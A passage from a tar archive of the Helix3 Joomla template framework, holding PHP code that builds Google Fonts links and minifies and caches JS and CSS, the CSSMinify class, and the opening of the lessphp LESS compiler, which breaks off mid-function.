			$value = json_decode($value);

			if (isset($value->fontWeight) && $value->fontWeight)
			{
				$families[$value->fontFamily]['weight'][] = $value->fontWeight;
			}

			if (isset($value->fontSubset) && $value->fontSubset)
			{
				$families[$value->fontFamily]['subset'][] = $value->fontSubset;
			}
		}

		//Selectors
		$selectors = array();
		foreach ($fonts as $key => $value)
		{
			$value = json_decode($value);

			if (isset($value->fontFamily) && $value->fontFamily)
			{
				$selectors[$key]['family'] = $value->fontFamily;
			}

			if (isset($value->fontSize) && $value->fontSize)
			{
				$selectors[$key]['size'] = $value->fontSize;
			}

			if (isset($value->fontWeight) && $value->fontWeight)
			{
				$selectors[$key]['weight'] = $value->fontWeight;
			}
		}

		//Add Google Font URL
		foreach ($families as $key => $value)
		{
			$output = str_replace(' ', '+', $key);

			// Weight
			if($webfonts) {
				$fonts_array = self::object_to_array(json_decode($webfonts));
				$font_key = self::font_key_search($key, $fonts_array['items']);
				$weight_array = $fonts_array['items'][$font_key]['variants'];
				$output .= ':' . implode(',', $weight_array);
			} else {
				$weight = array_unique($value['weight']);
				if (isset($weight) && $weight)
				{
					$output .= ':' . implode(',', $weight);
				}
			}

			// Subset
			$subset = array_unique($value['subset']);
			if (isset($subset) && $subset)
			{
				$output .= '&amp;subset=' . implode(',', $subset);
			}

			$doc->addStylesheet('//fonts.googleapis.com/css?family=' . $output);
		}

		//Add font to Selector
		foreach ($selectors as $key => $value)
		{

			if (isset($value['family']) && $value['family'])
			{

				$output = 'font-family:' . $value['family'] . ', sans-serif; ';

				if (isset($value['size']) && $value['size'])
				{
					$output .= 'font-size:' . $value['size'] . 'px; ';
				}

				if (isset($value['weight']) && $value['weight'])
				{
					$output .= 'font-weight:' . str_replace('regular', 'normal', $value['weight']) . '; ';
				}

				$selectors = explode(',', $key);

				foreach ($selectors as $selector)
				{
					$style = $selector . '{' . $output . '}';
					$doc->addStyledeclaration($style);
				}
			}
		}
	}

	//Exclude js and return others js
	private static function excludeJS($key, $excludes)
	{
		$match = false;
		if ($excludes)
		{
			$excludes = explode(',', $excludes);
			foreach ($excludes as $exclude)
			{
				if (JFile::getName($key) == trim($exclude))
				{
					$match = true;
				}
			}
		}

		return $match;
	}

	public static function compressJS($excludes = '')
	{//function to compress js files

		require_once(__DIR__ . '/classes/Minifier.php');

		$doc       = JFactory::getDocument();
		$app       = JFactory::getApplication();
		$cachetime = $app->get('cachetime', 15);

		$all_scripts  = $doc->_scripts;
		$cache_path   = JPATH_CACHE . '/com_templates/templates/' . self::getTemplate();
		$scripts      = array();
		$root_url     = JURI::root(true);
		$minifiedCode = '';
		$md5sum       = '';

		//Check all local scripts
		foreach ($all_scripts as $key => $value)
		{
			$js_file = str_replace($root_url, JPATH_ROOT, $key);

			if (strpos($js_file, JPATH_ROOT) === false) {
				$js_file = JPATH_ROOT . $key;
			}

			if (JFile::exists($js_file))
			{
				if (!self::excludeJS($key, $excludes))
				{
					$scripts[] = $key;
					$md5sum .= md5($key);
					$compressed = \JShrink\Minifier::minify(JFile::read($js_file), array('flaggedComments' => false));
					$minifiedCode .= "/*------ " . JFile::getName($js_file) . " ------*/\n" . $compressed . "\n\n";//add file name to compressed JS

					unset($doc->_scripts[$key]); //Remove sripts
				}
			}
		}

		//Compress All scripts
		if ($minifiedCode)
		{
			if (!JFolder::exists($cache_path))
			{
				JFolder::create($cache_path, 0755);
			}
			else
			{

				$file = $cache_path . '/' . md5($md5sum) . '.js';

				if (!JFile::exists($file))
				{
					JFile::write($file, $minifiedCode);
				}
				else
				{
					if (filesize($file) == 0 || ((filemtime($file) + $cachetime * 60) < time()))
					{
						JFile::write($file, $minifiedCode);
					}
				}

				$doc->addScript(JURI::base(true) . '/cache/com_templates/templates/' . self::getTemplate() . '/' . md5($md5sum) . '.js');
			}
		}

		return;
	}

	//Compress CSS files
	public static function compressCSS()
	{//function to compress css files

		require_once(__DIR__ . '/classes/cssmin.php');

		$doc             = JFactory::getDocument();
		$app             = JFactory::getApplication();
		$cachetime       = $app->get('cachetime', 15);
		$all_stylesheets = $doc->_styleSheets;
		$cache_path      = JPATH_CACHE . '/com_templates/templates/' . self::getTemplate();
		$stylesheets     = array();
		$root_url        = JURI::root(true);
		$minifiedCode    = '';
		$md5sum          = '';

		//Check all local stylesheets
		foreach ($all_stylesheets as $key => $value)
		{
			$css_file = str_replace($root_url, JPATH_ROOT, $key);

			if (strpos($css_file, JPATH_ROOT) === false) {
				$css_file = JPATH_ROOT . $key;
			}

			global $absolute_url;
			$absolute_url = $key;//absoulte path of each css file

			if (JFile::exists($css_file))
			{
				$stylesheets[] = $key;
				$md5sum .= md5($key);
				$compressed = CSSMinify::process(JFile::read($css_file));

				$fixUrl = preg_replace_callback('/url\(([^\)]*)\)/',
				function ($matches)
				{
					$url = str_replace(array('"', '\''), '', $matches[1]);

					global $absolute_url;
					$base = dirname($absolute_url);
					while (preg_match('/^\.\.\//', $url))
					{
						$base = dirname($base);
						$url  = substr($url, 3);
					}
					$url = $base . '/' . $url;

					return "url('$url')";
				}, $compressed);

				$minifiedCode .= "/*------ " . JFile::getName($css_file) . " ------*/\n" . $fixUrl . "\n\n";//add file name to compressed css

				unset($doc->_styleSheets[$key]); //Remove sripts
			}
		}

		//Compress All stylesheets
		if ($minifiedCode)
		{
			if (!JFolder::exists($cache_path))
			{
				JFolder::create($cache_path, 0755);
			}
			else
			{

				$file = $cache_path . '/' . md5($md5sum) . '.css';

				if (!JFile::exists($file))
				{
					JFile::write($file, $minifiedCode);
				}
				else
				{
					if (filesize($file) == 0 || ((filemtime($file) + $cachetime * 60) < time()))
					{
						JFile::write($file, $minifiedCode);
					}
				}

				$doc->addStylesheet(JURI::base(true) . '/cache/com_templates/templates/' . self::getTemplate() . '/' . md5($md5sum) . '.css');
			}
		}

		return;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/helix3/core/classes/cssmin.php                                                               0000705                 00000017616 15242051520 0013663 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class CSSMinify 
 * @package Minify
 */

/**
 * Compress CSS
 *
 * This is a heavy regex-based removal of whitespace, unnecessary
 * comments and tokens, and some CSS value minimization, where practical.
 * Many steps have been taken to avoid breaking comment-based hacks, 
 * including the ie5/mac filter (and its inversion), but expect tricky
 * hacks involving comment tokens in 'content' value strings to break
 * minimization badly. A test suite is available.
 * 
 * @package Minify
 * @author Stephen Clay <steve@mrclay.org>
 * @author http://code.google.com/u/1stvamp/ (Issue 64 patch)
 */
class CSSMinify {

    /**
     * Minify a CSS string
     * 
     * @param string $css
     * 
     * @param array $options (currently ignored)
     * 
     * @return string
     */
    public static function process($css, $options = array())
    {
        $obj = new CSSMinify($options);
        return $obj->_process($css);
    }
    
    /**
     * @var array options
     */
    protected $_options = null;
    
    /**
     * @var bool Are we "in" a hack?
     * 
     * I.e. are some browsers targetted until the next comment?
     */
    protected $_inHack = false;
    
    
    /**
     * Constructor
     * 
     * @param array $options (currently ignored)
     * 
     * @return null
     */
    private function __construct($options) {
        $this->_options = $options;
    }
    
    /**
     * Minify a CSS string
     * 
     * @param string $css
     * 
     * @return string
     */
    protected function _process($css)
    {
        $css = str_replace("\r\n", "\n", $css);
        
        // preserve empty comment after '>'
        // http://www.webdevout.net/css-hacks#in_css-selectors
        $css = preg_replace('@>/\\*\\s*\\*/@', '>/*keep*/', $css);
        
        // preserve empty comment between property and value
        // http://css-discuss.incutio.com/?page=BoxModelHack
        $css = preg_replace('@/\\*\\s*\\*/\\s*:@', '/*keep*/:', $css);
        $css = preg_replace('@:\\s*/\\*\\s*\\*/@', ':/*keep*/', $css);
        
        // apply callback to all valid comments (and strip out surrounding ws
        $css = preg_replace_callback('@\\s*/\\*([\\s\\S]*?)\\*/\\s*@'
            ,array($this, '_commentCB'), $css);

        // remove ws around { } and last semicolon in declaration block
        $css = preg_replace('/\\s*{\\s*/', '{', $css);
        $css = preg_replace('/;?\\s*}\\s*/', '}', $css);
        
        // remove ws surrounding semicolons
        $css = preg_replace('/\\s*;\\s*/', ';', $css);
        
        // remove ws around urls
        $css = preg_replace('/
                url\\(      # url(
                \\s*
                ([^\\)]+?)  # 1 = the URL (really just a bunch of non right parenthesis)
                \\s*
                \\)         # )
            /x', 'url($1)', $css);
        
        // remove ws between rules and colons
        $css = preg_replace('/
                \\s*
                ([{;])              # 1 = beginning of block or rule separator 
                \\s*
                ([\\*_]?[\\w\\-]+)  # 2 = property (and maybe IE filter)
                \\s*
                :
                \\s*
                (\\b|[#\'"])        # 3 = first character of a value
            /x', '$1$2:$3', $css);
        
        // remove ws in selectors
        $css = preg_replace_callback('/
                (?:              # non-capture
                    \\s*
                    [^~>+,\\s]+  # selector part
                    \\s*
                    [,>+~]       # combinators
                )+
                \\s*
                [^~>+,\\s]+      # selector part
                {                # open declaration block
            /x'
            ,array($this, '_selectorsCB'), $css);
        
        // minimize hex colors
        $css = preg_replace('/([^=])#([a-f\\d])\\2([a-f\\d])\\3([a-f\\d])\\4([\\s;\\}])/i'
            , '$1#$2$3$4$5', $css);
        
        // remove spaces between font families
        $css = preg_replace_callback('/font-family:([^;}]+)([;}])/'
            ,array($this, '_fontFamilyCB'), $css);
        
        $css = preg_replace('/@import\\s+url/', '@import url', $css);
        
        // replace any ws involving newlines with a single newline
        $css = preg_replace('/[ \\t]*\\n+\\s*/', "\n", $css);
        
        // separate common descendent selectors w/ newlines (to limit line lengths)
        $css = preg_replace('/([\\w#\\.\\*]+)\\s+([\\w#\\.\\*]+){/', "$1\n$2{", $css);
        
        // Use newline after 1st numeric value (to limit line lengths).
        $css = preg_replace('/
            ((?:padding|margin|border|outline):\\d+(?:px|em)?) # 1 = prop : 1st numeric value
            \\s+
            /x'
            ,"$1\n", $css);
        
        // prevent triggering IE6 bug: http://www.crankygeek.com/ie6pebug/
        $css = preg_replace('/:first-l(etter|ine)\\{/', ':first-l$1 {', $css);
            
        return trim($css);
    }
    
    /**
     * Replace what looks like a set of selectors  
     *
     * @param array $m regex matches
     * 
     * @return string
     */
    protected function _selectorsCB($m)
    {
        // remove ws around the combinators
        return preg_replace('/\\s*([,>+~])\\s*/', '$1', $m[0]);
    }
    
    /**
     * Process a comment and return a replacement
     * 
     * @param array $m regex matches
     * 
     * @return string
     */
    protected function _commentCB($m)
    {
        $hasSurroundingWs = (trim($m[0]) !== $m[1]);
        $m = $m[1]; 
        // $m is the comment content w/o the surrounding tokens, 
        // but the return value will replace the entire comment.
        if ($m === 'keep') {
            return '/**/';
        }
        if ($m === '" "') {
            // component of http://tantek.com/CSS/Examples/midpass.html
            return '/*" "*/';
        }
        if (preg_match('@";\\}\\s*\\}/\\*\\s+@', $m)) {
            // component of http://tantek.com/CSS/Examples/midpass.html
            return '/*";}}/* */';
        }
        if ($this->_inHack) {
            // inversion: feeding only to one browser
            if (preg_match('@
                    ^/               # comment started like /*/
                    \\s*
                    (\\S[\\s\\S]+?)  # has at least some non-ws content
                    \\s*
                    /\\*             # ends like /*/ or /**/
                @x', $m, $n)) {
                // end hack mode after this comment, but preserve the hack and comment content
                $this->_inHack = false;
                return "/*/{$n[1]}/**/";
            }
        }
        if (substr($m, -1) === '\\') { // comment ends like \*/
            // begin hack mode and preserve hack
            $this->_inHack = true;
            return '/*\\*/';
        }
        if ($m !== '' && $m[0] === '/') { // comment looks like /*/ foo */
            // begin hack mode and preserve hack
            $this->_inHack = true;
            return '/*/*/';
        }
        if ($this->_inHack) {
            // a regular comment ends hack mode but should be preserved
            $this->_inHack = false;
            return '/**/';
        }
        // Issue 107: if there's any surrounding whitespace, it may be important, so 
        // replace the comment with a single space
        return $hasSurroundingWs // remove all other comments
            ? ' '
            : '';
    }
    
    /**
     * Process a font-family listing and return a replacement
     * 
     * @param array $m regex matches
     * 
     * @return string   
     */
    protected function _fontFamilyCB($m)
    {
        $m[1] = preg_replace('/
                \\s*
                (
                    "[^"]+"      # 1 = family in double qutoes
                    |\'[^\']+\'  # or 1 = family in single quotes
                    |[\\w\\-]+   # or 1 = unquoted family
                )
                \\s*
            /x', '$1', $m[1]);
        return 'font-family:' . $m[1] . $m[2];
    }
}
                                                                                                                  system/helix3/core/classes/lessc.inc.php                                                            0000705                 00000263725 15242051520 0014254 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * lessphp v0.4.0
 * http://leafo.net/lessphp
 *
 * LESS css compiler, adapted from http://lesscss.org
 *
 * Copyright 2012, Leaf Corcoran <leafot@gmail.com>
 * Licensed under MIT or GPLv3, see LICENSE
 */


/**
 * The less compiler and parser.
 *
 * Converting LESS to CSS is a three stage process. The incoming file is parsed
 * by `helix3_lessc_parser` into a syntax tree, then it is compiled into another tree
 * representing the CSS structure by `helix3_lessc`. The CSS tree is fed into a
 * formatter, like `helix3_lessc_formatter` which then outputs CSS as a string.
 *
 * During the first compile, all values are *reduced*, which means that their
 * types are brought to the lowest form before being dump as strings. This
 * handles math equations, variable dereferences, and the like.
 *
 * The `parse` function of `helix3_lessc` is the entry point.
 *
 * In summary:
 *
 * The `helix3_lessc` class creates an intstance of the parser, feeds it LESS code,
 * then transforms the resulting tree to a CSS tree. This class also holds the
 * evaluation context, such as all available mixins and variables at any given
 * time.
 *
 * The `helix3_lessc_parser` class is only concerned with parsing its input.
 *
 * The `helix3_lessc_formatter` takes a CSS tree, and dumps it to a formatted string,
 * handling things like indentation.
 */
class helix3_lessc {
	static public $VERSION = "v0.4.0";
	static protected $TRUE = array("keyword", "true");
	static protected $FALSE = array("keyword", "false");

	protected $libFunctions = array();
	protected $registeredVars = array();
	protected $preserveComments = false;

	public $vPrefix = '@'; // prefix of abstract properties
	public $mPrefix = '$'; // prefix of abstract blocks
	public $parentSelector = '&';

	public $importDisabled = false;
	public $importDir = '';

	protected $numberPrecision = null;

	protected $allParsedFiles = array();

	// set to the parser that generated the current line when compiling
	// so we know how to create error messages
	protected $sourceParser = null;
	protected $sourceLoc = null;

	static public $defaultValue = array("keyword", "");

	static protected $nextImportId = 0; // uniquely identify imports

	// attempts to find the path of an import url, returns null for css files
	protected function findImport($url) {
		foreach ((array)$this->importDir as $dir) {
			$full = $dir.(substr($dir, -1) != '/' ? '/' : '').$url;
			if ($this->fileExists($file = $full.'.less') || $this->fileExists($file = $full)) {
				return $file;
			}
		}

		return null;
	}

	protected function fileExists($name) {
		return is_file($name);
	}

	static public function compressList($items, $delim) {
		if (!isset($items[1]) && isset($items[0])) return $items[0];
		else return array('list', $delim, $items);
	}

	static public function preg_quote($what) {
		return preg_quote($what, '/');
	}

	protected function tryImport($importPath, $parentBlock, $out) {
		if ($importPath[0] == "function" && $importPath[1] == "url") {
			$importPath = $this->flattenList($importPath[2]);
		}

		$str = $this->coerceString($importPath);
		if ($str === null) return false;

		$url = $this->compileValue($this->lib_e($str));

		// don't import if it ends in css
		if (substr_compare($url, '.css', -4, 4) === 0) return false;

		$realPath = $this->findImport($url);

		if ($realPath === null) return false;

		if ($this->importDisabled) {
			return array(false, "/* import disabled */");
		}

		if (isset($this->allParsedFiles[realpath($realPath)])) {
			return array(false, null);
		}

		$this->addParsedFile($realPath);
		$parser = $this->makeParser($realPath);
		$root = $parser->parse(file_get_contents($realPath));

		// set the parents of all the block props
		foreach ($root->props as $prop) {
			if ($prop[0] == "block") {
				$prop[1]->parent = $parentBlock;
			}
		}

		// copy mixins into scope, set their parents
		// bring blocks from import into current block
		// TODO: need to mark the source parser	these came from this file
		foreach ($root->children as $childName => $child) {
			if (isset($parentBlock->children[$childName])) {
				$parentBlock->children[$childName] = array_merge(
					$parentBlock->children[$childName],
					$child);
			} else {
				$parentBlock->children[$childName] = $child;
			}
		}

		$pi = pathinfo($realPath);
		$dir = $pi["dirname"];

		list($top, $bottom) = $this->sortProps($root->props, true);
		$this->compileImportedProps($top, $parentBlock, $out, $parser, $dir);

		return array(true, $bottom, $parser, $dir);
	}

	protected function compileImportedProps($props, $block, $out, $sourceParser, $importDir) {
		$oldSourceParser = $this->sourceParser;

		$oldImport = $this->importDir;

		// TODO: this is because the importDir api is stupid
		$this->importDir = (array)$this->importDir;
		array_unshift($this->importDir, $importDir);

		foreach ($props as $prop) {
			$this->compileProp($prop, $block, $out);
		}

		$this->importDir = $oldImport;
		$this->sourceParser = $oldSourceParser;
	}

	/**
	 * Recursively compiles a block.
	 *
	 * A block is analogous to a CSS block in most cases. A single LESS document
	 * is encapsulated in a block when parsed, but it does not have parent tags
	 * so all of it's children appear on the root level when compiled.
	 *
	 * Blocks are made up of props and children.
	 *
	 * Props are property instructions, array tuples which describe an action
	 * to be taken, eg. write a property, set a variable, mixin a block.
	 *
	 * The children of a block are just all the blocks that are defined within.
	 * This is used to look up mixins when performing a mixin.
	 *
	 * Compiling the block involves pushing a fresh environment on the stack,
	 * and iterating through the props, compiling each one.
	 *
	 * See helix3_lessc::compileProp()
	 *
	 */
	protected function compileBlock($block) {
		switch ($block->type) {
		case "root":
			$this->compileRoot($block);
			break;
		case null:
			$this->compileCSSBlock($block);
			break;
		case "media":
			$this->compileMedia($block);
			break;
		case "directive":
			$name = "@" . $block->name;
			if (!empty($block->value)) {
				$name .= " " . $this->compileValue($this->reduce($block->value));
			}

			$this->compileNestedBlock($block, array($name));
			break;
		default:
			$this->throwError("unknown block type: $block->type\n");
		}
	}

	protected function compileCSSBlock($block) {
		$env = $this->pushEnv();

		$selectors = $this->compileSelectors($block->tags);
		$env->selectors = $this->multiplySelectors($selectors);
		$out = $this->makeOutputBlock(null, $env->selectors);

		$this->scope->children[] = $out;
		$this->compileProps($block, $out);

		$block->scope = $env; // mixins carry scope with them!
		$this->popEnv();
	}

	protected function compileMedia($media) {
		$env = $this->pushEnv($media);
		$parentScope = $this->mediaParent($this->scope);

		$query = $this->compileMediaQuery($this->multiplyMedia($env));

		$this->scope = $this->makeOutputBlock($media->type, array($query));
		$parentScope->children[] = $this->scope;

		$this->compileProps($media, $this->scope);

		if (count($this->scope->lines) > 0) {
			$orphanSelelectors = $this->findClosestSelectors();
			if (!is_null($orphanSelelectors)) {
				$orphan = $this->makeOutputBlock(null, $orphanSelelectors);
				$orphan->lines = $this->scope->lines;
				array_unshift($this->scope->children, $orphan);
				$this->scope->lines = array();
			}
		}

		$this->scope = $this->scope->parent;
		$this->popEnv();
	}

	protected function mediaParent($scope) {
		while (!empty($scope->parent)) {
			if (!empty($scope->type) && $scope->type != "media") {
				break;
			}
			$scope = $scope->parent;
		}

		return $scope;
	}

	protected function compileNestedBlock($block, $selectors) {
		$this->pushEnv($block);
		$this->scope = $this->makeOutputBlock($block->type, $selectors);
		$this->scope->parent->children[] = $this->scope;

		$this->compileProps($block, $this->scope);

		$this->scope = $this->scope->parent;
		$this->popEnv();
	}

	protected function compileRoot($root) {
		$this->pushEnv();
		$this->scope = $this->makeOutputBlock($root->type);
		$this->compileProps($root, $this->scope);
		$this->popEnv();
	}

	protected function compileProps($block, $out) {
		foreach ($this->sortProps($block->props) as $prop) {
			$this->compileProp($prop, $block, $out);
		}

		$out->lines = array_values(array_unique($out->lines));
	}

	protected function sortProps($props, $split = false) {
		$vars = array();
		$imports = array();
		$other = array();

		foreach ($props as $prop) {
			switch ($prop[0]) {
			case "assign":
				if (isset($prop[1][0]) && $prop[1][0] == $this->vPrefix) {
					$vars[] = $prop;
				} else {
					$other[] = $prop;
				}
				break;
			case "import":
				$id = self::$nextImportId++;
				$prop[] = $id;
				$imports[] = $prop;
				$other[] = array("import_mixin", $id);
				break;
			default:
				$other[] = $prop;
			}
		}

		if ($split) {
			return array(array_merge($vars, $imports), $other);
		} else {
			return array_merge($vars, $imports, $other);
		}
	}

	protected function compileMediaQuery($queries) {
		$compiledQueries = array();
		foreach ($queries as $query) {
			$parts = array();
			foreach ($query as $q) {
				switch ($q[0]) {
				case "mediaType":
					$parts[] = implode(" ", array_slice($q, 1));
					break;
				case "mediaExp":
					if (isset($q[2])) {
						$parts[] = "($q[1]: " .
							$this->compileValue($this->reduce($q[2])) . ")";
					} else {
						$parts[] = "($q[1])";
					}
					break;
				case "variable":
					$parts[] = $this->compileValue($this->reduce($q));
				break;
				}
			}

			if (count($parts) > 0) {
				$compiledQueries[] =  implode(" and ", $parts);
			}
		}

		$out = "@media";
		if (!empty($parts)) {
			$out .= " " .
				implode($this->formatter->selectorSeparator, $compiledQueries);
		}
		return $out;
	}

	protected function multiplyMedia($env, $childQueries = null) {
		if (is_null($env) ||
			!empty($env->block->type) && $env->block->type != "media")
		{
			return $childQueries;
		}

		// plain old block, skip
		if (empty($env->block->type)) {
			return $this->multiplyMedia($env->parent, $childQueries);
		}

		$out = array();
		$queries = $env->block->queries;
		if (is_null($childQueries)) {
			$out = $queries;
		} else {
			foreach ($queries as $parent) {
				foreach ($childQueries as $child) {
					$out[] = array_merge($parent, $child);
				}
			}
		}

		return $this->multiplyMedia($env->parent, $out);
	}

	protected function expandParentSelectors(&$tag, $replace) {
		$parts = explode("$&$", $tag);
		$count = 0;
		foreach ($parts as &$part) {
			$part = str_replace($this->parentSelector, $replace, $part, $c);
			$count += $c;
		}
		$tag = implode($this->parentSelector, $parts);
		return $count;
	}

	protected function findClosestSelectors() {
		$env = $this->env;
		$selectors = null;
		while ($env !== null) {
			if (isset($env->selectors)) {
				$selectors = $env->selectors;
				break;
			}
			$env = $env->parent;
		}

		return $selectors;
	}


	// multiply $selectors against the nearest selectors in env
	protected function multiplySelectors($selectors) {
		// find parent selectors

		$parentSelectors = $this->findClosestSelectors();
		if (is_null($parentSelectors)) {
			// kill parent reference in top level selector
			foreach ($selectors as &$s) {
				$this->expandParentSelectors($s, "");
			}

			return $selectors;
		}

		$out = array();
		foreach ($parentSelectors as $parent) {
			foreach ($selectors as $child) {
				$count = $this->expandParentSelectors($child, $parent);

				// don't prepend the parent tag if & was used
				if ($count > 0) {
					$out[] = trim($child);
				} else {
					$out[] = trim($parent . ' ' . $child);
				}
			}
		}

		return $out;
	}

	// reduces selector expressions
	protected function compileSelectors($selectors) {
		$out = array();

		foreach ($selectors as $s) {
			if (is_array($s)) {
				list(, $value) = $s;
				$out[] = trim($this->compileValue($this->reduce($value)));
			} else {
				$out[] = $s;
			}
		}

		return $out;
	}

	protected function eq($left, $right) {
		return $left == $right;
	}

	protected function patternMatch($block, $orderedArgs, $keywordArgs) {
		// match the guards if it has them
		// any one of the groups must have all its guards pass for a match
		if (!empty($block->guards)) {
			$groupPassed = false;
			foreach ($block->guards as $guardGroup) {
				foreach ($guardGroup as $guard) {
					$this->pushEnv();
					$this->zipSetArgs($block->args, $orderedArgs, $keywordArgs);

					$negate = false;
					if ($guard[0] == "negate") {
						$guard = $guard[1];
						$negate = true;
					}

					$passed = $this->reduce($guard) == self::$TRUE;
					if ($negate) $passed = !$passed;

					$this->popEnv();

					if ($passed) {
						$groupPassed = true;
					} else {
						$groupPassed = false;
						break;
					}
				}

				if ($groupPassed) break;
			}

			if (!$groupPassed) {
				return false;
			}
		}

		if (empty($block->args)) {
			return $block->isVararg || empty($orderedArgs) && empty($keywordArgs);
		}

		$remainingArgs = $block->args;
		if ($keywordArgs) {
			$remainingArgs = array();
			foreach ($block->args as $arg) {
				if ($arg[0] == "arg" && isset($keywordArgs[$arg[1]])) {
					continue;
				}

				$remainingArgs[] = $arg;
			}
		}

		$i = -1; // no args
		// try to match by arity or by argument literal
		foreach ($remainingArgs as $i => $arg) {
			switch ($arg[0]) {
			case "lit":
				if (empty($orderedArgs[$i]) || !$this->eq($arg[1], $orderedArgs[$i])) {
					return false;
				}
				break;
			case "arg":
				// no arg and no default value
				if (!isset($orderedArgs[$i]) && !isset($arg[2])) {
					return false;
				}
				break;
			case "rest":
				$i--; // rest can be empty
				break 2;
			}
		}

		if ($block->isVararg) {
			return true; // not having enough is handled above
		} else {
			$numMatched = $i + 1;
			// greater than becuase default values always match
			return $numMatched >= count($orderedArgs);
		}
	}

	protected function patternMatchAll($blocks, $orderedArgs, $keywordArgs, $skip=array()) {
		$matches = null;
		foreach ($blocks as $block) {
			// skip seen blocks that don't have arguments
			if (isset($skip[$block->id]) && !isset($block->args)) {
				continue;
			}

			if ($this->patternMatch($block, $orderedArgs, $keywordArgs)) {
				$matches[] = $block;
			}
		}

		return $matches;
	}

	// attempt to find blocks matched by path and args
	protected function findBlocks($searchIn, $path, $orderedArgs, $keywordArgs, $seen=array()) {
		if ($searchIn == null) return null;
		if (isset($seen[$searchIn->id])) return null;
		$seen[$searchIn->id] = true;

		$name = $path[0];

		if (isset($searchIn->children[$name])) {
			$blocks = $searchIn->children[$name];
			if (count($path) == 1) {
				$matches = $this->patternMatchAll($blocks, $orderedArgs, $keywordArgs, $seen);
				if (!empty($matches)) {
					// This will return all blocks that match in the closest
					// scope that has any matching block, like lessjs
					return $matches;
				}
			} else {
				$matches = array();
				foreach ($blocks as $subBlock) {
					$subMatches = $this->findBlocks($subBlock,
						array_slice($path, 1), $orderedArgs, $keywordArgs, $seen);

					if (!is_null($subMatches)) {
						foreach ($subMatches as $sm) {
							$matches[] = $sm;
						}
					}
				}

				return count($matches) > 0 ? $matches : null;
			}
		}
		if ($searchIn->parent === $searchIn) return null;
		return $this->findBlocks($searchIn->parent, $path, $orderedArgs, $keywordArgs, $seen);
	}

	// sets all argument names in $args to either the default value
	// or the one passed in through $values
	protected function zipSetArgs($args, $orderedValues, $keywordValues) {
		$assignedValues = array();

		$i = 0;
		foreach ($args as  $a) {
			if ($a[0] == "arg") {
				if (isset($keywordValues[$a[1]])) {
					// has keyword arg
					$value = $keywordValues[$a[1]];
				} elseif (isset($orderedValues[$i])) {
					// has ordered arg
					$value = $orderedValues[$i];
					$i++;
				} elseif (isset($a[2])) {
					// has default value
					$value = $a[2];
				} else {
					$this->throwError("Failed to assign arg " . $a[1]);
					$value = null; // :(
				}

				$value = $this->reduce($value);
				$this->set($a[1], $value);
				$assignedValues[] = $value;
			} else {
				// a lit
				$i++;
			}
		}

		// check for a rest
		$last = end($args);
		if ($last[0] == "rest") {
			$rest = array_slice($orderedValues, count($args) - 1);
			$this->set($last[1], $this->reduce(array("list", " ", $rest)));
		}

		// wow is this the only true use of PHP's + operator for arrays?
		$this->env->arguments = $assignedValues + $orderedValues;
	}

	// compile a prop and update $lines or $blocks appropriately
	protected function compileProp($prop, $block, $out) {
		// set error position context
		$this->sourceLoc = isset($prop[-1]) ? $prop[-1] : -1;

		switch ($prop[0]) {
		case 'assign':
			list(, $name, $value) = $prop;
			if ($name[0] == $this->vPrefix) {
				$this->set($name, $value);
			} else {
				$out->lines[] = $this->formatter->property($name,
						$this->compileValue($this->reduce($value)));
			}
			break;
		case 'block':
			list(, $child) = $prop;
			$this->compileBlock($child);
			break;
		case 'mixin':
			list(, $path, $args, $suffix) = $prop;

			$orderedArgs = array();
			$keywordArgs = array();
			foreach ((array)$args as $arg) {
				$argval = null;
				switch ($arg[0]) {
				case "arg":
					if (!isset($arg[2])) {
						$orderedArgs[] = $this->reduce(array("variable", $arg[1]));
					} else {
						$keywordArgs[$arg[1]] = $this->reduce($arg[2]);
					}
					break;

				case "lit":
					$orderedArgs[] = $this->reduce($arg[1]);
					break;
				default:
					$this->throwError("Unknown arg type: " . $arg[0]);
				}
			}

			$mixins = $this->findBlocks($block, $path, $orderedArgs, $keywordArgs);

			if ($mixins === null) {
				// fwrite(STDERR,"failed to find block: ".implode(" > ", $path)."\n");
				break; // throw error here??
			}

			foreach ($mixins as $mixin) {
				if ($mixin === $block && !$orderedArgs) {
					continue;
				}

				$haveScope = false;
				if (isset($mixin->parent->scope)) {
					$haveScope = true;
					$mixinParentEnv = $this->pushEnv();
					$mixinParentEnv->storeParent = $mixin->parent->scope;
				}

				$haveArgs = false;
				if (isset($mixin->args)) {
					$haveArgs = true;
					$this->pushEnv();
					$this->zipSetArgs($mixin->args, $orderedArgs, $keywordArgs);
				}

				$oldParent = $mixin->parent;
				if ($mixin != $block) $mixin->parent = $block;

				foreach ($this->sortProps($mixin->props) as $subProp) {
					if ($suffix !== null &&
						$subProp[0] == "assign" &&
						is_string($subProp[1]) &&
						$subProp[1]{0} != $this->vPrefix)
					{
						$subProp[2] = array(
							'list', ' ',
							array($subProp[2], array('keyword', $suffix))
						);
					}

					$this->compileProp($subProp, $mixin, $out);
				}

				$mixin->parent = $oldParent;

				if ($haveArgs) $this->popEnv();
				if ($haveScope) $this->popEnv();
			}

			break;
		case 'raw':
			$out->lines[] = $prop[1];
			break;
		case "directive":
			list(, $name, $value) = $prop;
			$out->lines[] = "@$name " . $this->compileValue($this->reduce($value)).';';
			break;
		case "comment":
			$out->lines[] = $prop[1];
			break;
		case "import";
			list(, $importPath, $importId) = $prop;
			$importPath = $this->reduce($importPath);

			if (!isset($this->env->imports)) {
				$this->env->imports = array();
			}

			$result = $this->tryImport($importPath, $block, $out);

			$this->env->imports[$importId] = $result === false ?
				array(false, "@import " . $this->compileValue($importPath).";") :
				$result;

			break;
		case "import_mixin":
			list(,$importId) = $prop;
			$import = $this->env->imports[$importId];
			if ($import[0] === false) {
				if (isset($import[1])) {
					$out->lines[] = $import[1];
				}
			} else {
				list(, $bottom, $parser, $importDir) = $import;
				$this->compileImportedProps($bottom, $block, $out, $parser, $importDir);
			}

			break;
		default:
			$this->throwError("unknown op: {$prop[0]}\n");
		}
	}


	/**
	 * Compiles a primitive value into a CSS property value.
	 *
	 * Values in lessphp are typed by being wrapped in arrays, their format is
	 * typically:
	 *
	 *     array(type, contents [, additional_contents]*)
	 *
	 * The input is expected to be reduced. This function will not work on
	 * things like expressions and variables.
	 */
	protected function compileValue($value) {
		switch ($value[0]) {
		case 'list':
			// [1] - delimiter
			// [2] - array of values
			return implode($value[1], array_map(array($this, 'compileValue'), $value[2]));
		case 'raw_color':
			if (!empty($this->formatter->compressColors)) {
